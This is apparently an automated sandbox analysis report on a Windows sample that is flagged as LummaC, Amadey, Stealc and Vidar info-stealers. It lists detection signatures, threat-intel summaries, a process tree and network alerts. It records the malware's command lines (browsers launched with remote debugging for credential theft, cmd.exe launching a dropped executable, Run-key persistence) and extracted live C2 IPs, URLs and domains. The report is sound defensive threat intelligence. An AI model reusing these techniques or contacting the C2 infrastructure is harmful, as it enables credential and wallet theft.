Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1553906
MD5:	de2c57daba8a1e3b80177b5c161d68c1
SHA1:	7f5add1ca0e771b5254fdcc8f2646ad39aa76094
SHA256:	c898a4926d282b9c3256633cf8cfc97e055129edb7c2d72147e78569421d4463
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5900 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE2C57DABA8A1E3B80177B5C161D68C1)

chrome.exe (PID: 1648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2184,i,17830567374915129645,17658009818156142386,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2584 --field-trial-handle=2236,i,16034310366298232059,5096716925482931447,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 3468 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEGCAAKFBA.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIEGCAAKFBA.exe (PID: 8640 cmdline: "C:\Users\user\DocumentsIEGCAAKFBA.exe" MD5: 735B427034DFA1E8184D92B3E9E0E918)

skotes.exe (PID: 1660 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 735B427034DFA1E8184D92B3E9E0E918)

msedge.exe (PID: 1920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3004 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6980 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8312 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7120 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6400 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4320 --field-trial-handle=2108,i,6932208838841982647,13002878886138125623,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8752 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 735B427034DFA1E8184D92B3E9E0E918)

skotes.exe (PID: 1888 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 735B427034DFA1E8184D92B3E9E0E918)

1017b01294.exe (PID: 4348 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe" MD5: 7D9C4F172E304E1666D3A6D10034F260)

474b2c9b63.exe (PID: 8056 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe" MD5: DE2C57DABA8A1E3B80177B5C161D68C1)

skotes.exe (PID: 3868 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 735B427034DFA1E8184D92B3E9E0E918)

2018142c2f.exe (PID: 2520 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005590001\2018142c2f.exe" MD5: D7E735E3F0A7FE8EBA17313DE3B48AA5)

1017b01294.exe (PID: 8368 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe" MD5: 7D9C4F172E304E1666D3A6D10034F260)

474b2c9b63.exe (PID: 5376 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005588001\474b2c9b63.exe" MD5: DE2C57DABA8A1E3B80177B5C161D68C1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["scriptyprefej.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "navygenerayk.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000023.00000002.2395891164.0000000000BB1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1579443796.0000000000F31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1579443796.0000000000FFC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.1680674491.0000000000651000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1579011520.000000000079E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2515038353.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000002.2515038353.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2499571721.0000000000651000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1250626319.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000003.2335768333.0000000005550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.1634682533.0000000000631000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.1673868210.0000000000651000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5900	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5900	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5900	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1017b01294.exe PID: 4348	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1017b01294.exe PID: 4348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 474b2c9b63.exe PID: 8056	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 474b2c9b63.exe PID: 8056	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
27.2.skotes.exe.650000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.DocumentsIEGCAAKFBA.exe.630000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.650000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.650000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1017b01294.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5900, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 1648, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1005587001\1017b01294.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1017b01294.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsIEGCAAKFBA.exe" , ParentImage: C:\Users\user\DocumentsIEGCAAKFBA.exe, ParentProcessId: 8640, ParentProcessName: DocumentsIEGCAAKFBA.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 1660, ProcessName: skotes.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:50.970069+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.7	49808	TCP
2024-11-11T19:18:10.695079+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	54265	TCP
2024-11-11T19:18:14.235429+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	54297	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:19.528358+0100	2028371	3	Unknown Traffic	192.168.2.7	56457	23.192.247.89	443	TCP
2024-11-11T19:19:20.972587+0100	2028371	3	Unknown Traffic	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:21.770408+0100	2028371	3	Unknown Traffic	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:19:26.283770+0100	2028371	3	Unknown Traffic	192.168.2.7	56464	188.114.97.3	443	TCP
2024-11-11T19:19:30.744231+0100	2028371	3	Unknown Traffic	192.168.2.7	56467	23.192.247.89	443	TCP
2024-11-11T19:19:31.769916+0100	2028371	3	Unknown Traffic	192.168.2.7	56469	188.114.97.3	443	TCP
2024-11-11T19:19:31.795149+0100	2028371	3	Unknown Traffic	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:33.425975+0100	2028371	3	Unknown Traffic	192.168.2.7	56471	188.114.97.3	443	TCP
2024-11-11T19:19:33.517882+0100	2028371	3	Unknown Traffic	192.168.2.7	56472	188.114.97.3	443	TCP
2024-11-11T19:19:56.868091+0100	2028371	3	Unknown Traffic	192.168.2.7	56476	23.192.247.89	443	TCP
2024-11-11T19:19:58.122552+0100	2028371	3	Unknown Traffic	192.168.2.7	56477	188.114.97.3	443	TCP
2024-11-11T19:20:05.024762+0100	2028371	3	Unknown Traffic	192.168.2.7	56478	188.114.97.3	443	TCP
2024-11-11T19:20:06.208350+0100	2028371	3	Unknown Traffic	192.168.2.7	56480	188.114.97.3	443	TCP
2024-11-11T19:20:07.581458+0100	2028371	3	Unknown Traffic	192.168.2.7	56481	188.114.97.3	443	TCP
2024-11-11T19:20:09.370565+0100	2028371	3	Unknown Traffic	192.168.2.7	56482	188.114.97.3	443	TCP
2024-11-11T19:20:10.575719+0100	2028371	3	Unknown Traffic	192.168.2.7	56483	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:21.246619+0100	2054653	1	A Network Trojan was detected	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:22.186582+0100	2054653	1	A Network Trojan was detected	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:19:32.182802+0100	2054653	1	A Network Trojan was detected	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:58.599919+0100	2054653	1	A Network Trojan was detected	192.168.2.7	56477	188.114.97.3	443	TCP
2024-11-11T19:20:05.456648+0100	2054653	1	A Network Trojan was detected	192.168.2.7	56478	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:21.246619+0100	2049836	1	A Network Trojan was detected	192.168.2.7	56461	188.114.97.3	443	TCP
2024-11-11T19:19:32.182802+0100	2049836	1	A Network Trojan was detected	192.168.2.7	56470	188.114.97.3	443	TCP
2024-11-11T19:19:58.599919+0100	2049836	1	A Network Trojan was detected	192.168.2.7	56477	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:22.186582+0100	2049812	1	A Network Trojan was detected	192.168.2.7	56462	188.114.97.3	443	TCP
2024-11-11T19:20:05.456648+0100	2049812	1	A Network Trojan was detected	192.168.2.7	56478	188.114.97.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:11.736689+0100	2044696	1	A Network Trojan was detected	192.168.2.7	56453	185.215.113.43	80	TCP
2024-11-11T19:19:16.381851+0100	2044696	1	A Network Trojan was detected	192.168.2.7	56455	185.215.113.43	80	TCP
2024-11-11T19:19:20.227925+0100	2044696	1	A Network Trojan was detected	192.168.2.7	56459	185.215.113.43	80	TCP
2024-11-11T19:19:25.025250+0100	2044696	1	A Network Trojan was detected	192.168.2.7	56463	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.357321+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	51530	1.1.1.1	53	UDP
2024-11-11T19:19:28.687678+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	62569	1.1.1.1	53	UDP
2024-11-11T19:19:54.532187+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	62978	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.383653+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	63630	1.1.1.1	53	UDP
2024-11-11T19:19:28.859363+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	49567	1.1.1.1	53	UDP
2024-11-11T19:19:54.862668+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	61220	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.633729+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.7	51932	1.1.1.1	53	UDP
2024-11-11T19:19:29.391231+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.7	65157	1.1.1.1	53	UDP
2024-11-11T19:19:55.516339+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.7	64281	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.722257+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.7	53208	1.1.1.1	53	UDP
2024-11-11T19:19:29.631672+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.7	61767	1.1.1.1	53	UDP
2024-11-11T19:19:55.754511+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.7	54843	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.533266+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	55240	1.1.1.1	53	UDP
2024-11-11T19:19:29.079881+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	63983	1.1.1.1	53	UDP
2024-11-11T19:19:55.281534+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	60979	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.262196+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	51545	1.1.1.1	53	UDP
2024-11-11T19:19:28.454798+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	52533	1.1.1.1	53	UDP
2024-11-11T19:19:54.222618+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	52197	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.814303+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.7	51992	1.1.1.1	53	UDP
2024-11-11T19:19:29.907853+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.7	53497	1.1.1.1	53	UDP
2024-11-11T19:19:56.002857+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.7	62182	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:18.486228+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	63262	1.1.1.1	53	UDP
2024-11-11T19:19:28.951860+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	55225	1.1.1.1	53	UDP
2024-11-11T19:19:55.049572+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	56534	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:30.634823+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:30.624001+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

